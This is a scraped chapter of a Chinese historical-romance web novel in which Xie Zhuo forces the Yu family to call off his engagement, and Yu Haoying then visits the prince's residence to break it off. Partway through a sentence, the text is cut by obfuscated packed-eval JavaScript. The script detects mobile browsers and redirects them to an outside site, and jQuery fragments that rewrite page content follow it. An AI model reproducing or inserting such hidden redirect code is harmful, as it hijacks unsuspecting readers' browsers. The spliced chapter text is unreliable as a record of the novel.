傅知乔注意到他用的字眼,眉毛一挑:“谁要跟你成亲?”
谢卓嘴角轻轻上扬了几分,眸色温柔,一点迟疑都没有:“你,你要跟我成亲。”
傅知乔知道谢卓是不想害了于雅丹的名声才用的这一招,她表面上没说什么,其实心里是很欣慰的。她跟高兴自己没有看错人,也很高兴谢卓没有为了一己私欲,就把所有的过错全部推到于雅丹身上。
单单从买凶杀人这件事来说,于雅丹罪无可恕。
于雅丹对她造成的伤害,她会找机会还回去。
但谢卓和于雅丹定亲又退亲,是两个家族的事,不能把所有的责任都归结到于雅丹一个人身上,若王府无意要结亲,于家掀不起什么风浪。
“我与她之间本不该有太多的牵扯,是母妃的态度给了她无谓的希望,事情发展至此,她有责任,我也有责任。我身为男人,不该把所有的问题都归结到一个女子身上,她或许对我有意,但最终决定定亲的是我们两家的长辈,她也只不过是听从了父母之命而已。”
“于雅丹做的最不对的事情就是伤害你。”谢卓补充道,若无两家父母在其中搅局,他绝对不会跟于雅丹定亲,傅知乔也不会受到伤害。
这点傅知乔很认可,要不是于雅丹剑走偏锋,她也不至于吃那么多的苦头。
在这件事里,没有谁是完完全全无辜的,只有傅知乔,她从头到尾都是被他连累的,经过于雅丹买凶这件事,谢卓才明白为什么傅知乔一直想要离开他。
他敢说,今天他身边的人不是傅知乔,换成任何一个有身份的世家女,于雅丹都不会有这样的举动,究其原因,不过是她看傅知乔的身份低,以为她是一个可以随意打压的人。
谢卓嘴角有不易察觉的讥讽。
听到谢卓这番话,压在傅知乔心上的那块大石头彻底消散了。
谢卓是一个尊重女性的人,能在父权社会的大魏遇到这样一个人,傅知乔觉得自己是幸运的。
看到傅知乔若有所思的样子,谢卓担心她误会,“你可不要误会,我对她可没有半点私情。”
被退婚一事,对女方的伤害更大。
男子汉大丈夫顶天立地,他不能让于雅丹一个女子去承受所有的后果,但一想到于雅丹对傅知乔做的事,谢卓就如鲠在喉,心里的那口浊气始终咽不下去。
他不针对于雅丹个人,不代表他不会迁怒于家。
他不想去毁坏一个女子的名声,但尚书府的名声他毁的心安理得。
反正两家的婚事是要退掉的,为什么恶名不让于家来承担呢?
于家主动退亲既可以把谢卓放在弱势的一方,还可以让于家背负上弃信忘义的名声,对于昊英这样位高权重的官员来说,背负上有悖仁义的名头,让他在同僚之间无法立足就是最大的打击。
傅知乔是个聪慧的,立马领会到谢卓的意思。
他以自己不能生育为突破口,让于家有了退婚的理由。
可于昊英也不是傻子,这个节骨眼上他是不可能提退婚的事,谢卓干脆就推他一把,他把于雅丹买凶杀手人的证据捏在手里,逼迫于家上门退婚。
一旦于家主动退婚,舆论的高地就自然而然的被王府那一边占领。
背信弃义总比杀人犯的名头要好,为了于雅丹不背负杀人犯的罪名,于昊英和郭素兰只能退让,主动去王府退婚。
在外人看来,是于家背信弃义在先,他们嫌弃谢卓不能生育遂而提出退婚,王府同意退婚也只是无可奈何,顺势而为罢了。
从结果来看,除了谢卓本人背负上难听的名声之外,对整个王府的风评没有半分影响。于家就不同了,家族是一荣俱荣,一损俱损的,于雅丹身为于家的一份子,自然是免不了要面对外界的指指点点。
*
正如谢卓猜测的那样,于昊英并不同意去王府退婚。
他不想让人家说他是个背信弃义之人,看王府欣欣向荣便贴上去说亲,现在见王府出现颓势便拂袖开溜,一想到这种名头安在自己身上,于昊英胡子都气歪了,满京城的官员如何看待他?皇上会如何看待于家?
但是他没有办法,除了退婚他没有第二条路可以走。
三日后,于昊英携郭素兰主动拜访王府。
谢弛穿着一身绣暗纹的玄色长袍,腰间的玉带上镶嵌着一个拇指大小小的明珠,左慕蕊一身绛紫色绸缎华裳,典雅端庄,她跟谢弛一左一右坐在上首,于昊英和郭素兰两人则是坐在下首。
下人过来上茶,王府待客用的茶叶是雨前龙井,茶叶被沸水滚过,清清淡淡的茶香飘在空气中,很是好闻。
俗话说,无事不登三宝殿,于昊英郭素兰夫妇俩突然一起上门拜访实在有些反常,再加上最近发生的事情太多,左慕蕊偷瞄了对面正襟危坐的夫妇二人,心里有点不安。
于昊英也因为要开口说退婚的事而踌躇不安,正厅内的气氛稍显沉寂。
好半晌,于昊英拿起手边的茶水润了一下喉咙,稳住心神,作出一副为难的样子:“下官今日拜访,是有一件要事与王爷王妃商量,小女雅丹突发疾症,怕是不能如约完成婚约了。”
左慕蕊手中的茶杯直接掉落到地上,应声而碎。
“你说什么?”
于昊英心虚的避开了她的视线,将话重复了一遍。
左慕蕊睁大眼睛,向郭素兰投去了疑惑的目光,郭素兰眼观鼻鼻观心,不敢与她的目光对上。
明明两家已经商量好将婚约延后,为何于家又突然反悔?莫不是嫌弃卓儿他不能生育?想到这里,左慕蕊脸色难看。
一旁的于昊英还在解释,说于雅丹身染恶疾,不日就要送到浮图寺去养病了。
浮图寺是一个小的寺庙,位于天峰山的山脚,天峰山离京城有上百里路,过景阳县,绕过津南河才能到达天峰山脚下。
寺庙里的吃穿用度都很简单,清茶淡饭的,于雅丹从小养尊处优惯了,吃的是山珍海味,用的是绫罗绸缎,哪里会适应的了寺庙里的清苦生活。
与其说是去养病不如说是去受罪。
而且,在入冬之际把女儿送到百里之外的佛寺里吃苦,于昊英确实是铁了心了。
于昊英本来是想把于雅丹送到庄子上去的,但郭素兰极力反对:“老爷,雅丹是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489196|185772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们唯一的孩子,你怎么忍心将她送到庄子去!”
“送到乡下庄子不好吗?无规矩不成方圆,到了庄子里正好挫挫她的脾气!”
“人是活的,规矩是死的,把娇滴滴的女儿家被送到那偏远的庄子里去,这让妾身如何舍得啊!雅丹她也是你的骨肉,你怎么就狠得下心呐!”郭素兰抹了把泪,乞求道:“老爷,咱们不去庄子行不行,去寺庙也是一样的!”
郭素兰心里明白,于雅丹是一定会被送走的,但送寺庙里去养病与送庄子去养病完全不是一回事,前者的名声比后者好听多了,送到庄子上一听就知道是犯了错,才被发配到庄子上去思过。
终究是自己的骨肉,于昊英最终松了口。
子不教父之过,若是于雅丹成了杀人凶手,他这个做爹的也好不到哪儿去。
为今之计,他只能先把于雅丹送走,堵住悠悠众口,等风头过了再接她回来。
*
左慕蕊从惊愕中回过神来,一把火从心底冒了出来,她语气不善:“那孩子得了什么急症竟会这么严重?要不要让王爷去请太医过去瞧瞧?”
作为官场上的老狐狸,于昊英哪能听不出话中的讥讽之意,他的脸色一阵青一阵白:“多谢王妃关心,下官已经请大夫诊治过了,说雅丹疑似染上风疹,目前不宜见风。”
得了风疹的人皮肤上会出现淡红色斑疹,呕吐、头痛、流涕及咳嗽等症状,严重者还会发热、昏厥。
风疹是会传染的,不过威力不及天花。
左慕蕊皮笑肉不笑:“哦,那还真是不巧呢。”
“佛门清静地,正好适合小女养病,还请王爷王妃谅解。”于昊英声音有些底气不足。
此时此刻,于雅丹是否真的生病并不重要,重要的是于家要退婚的决心十分坚决,左慕蕊根本没想到对方会说翻脸就翻脸,她沉默了片刻才道:“那你们可要好好将人照料好。”
一旁的谢弛面色也不善,他没有直接把人轰出去已经是极大的体面了。
谢卓前脚中毒不能生育,于雅丹后脚就突发重疾,这时间点实在是太过耐人寻味,让人不得不让人怀疑于家是故意找借口退婚。
主动退婚与被退婚完全是两个不同的概念。
谢弛冷哼一声,脸色几乎阴沉到了极点。
女方主动退婚,意味着自己是被舍弃的那一方,于家此举是狠狠的打了王府的脸面。
堂堂端亲王,何时受到过如此侮辱。
“于大人,你当我王府是什么地方?”谢弛眼里充满了戾气,很不满意于昊英的说法,他虽然是个闲散王爷,但生气起来自有一股不怒自威的气势。
不过区区一个尚书罢了,居然敢嫌弃他的儿子。
再说了,就算是退婚也应当是由男方来提出,女方上门退婚像什么话!
要是端亲王世子被女子上门退婚的消息传了出去,端亲王府简直就是颜面扫地,以后还怎么在京城里抬起头来?
闻言,于昊英努力扯出一个比哭还难看的笑容,张了张嘴,最终只是低声说道:“王爷恕罪,下官只希望小辈间的事情不要伤及我们两家的情谊。”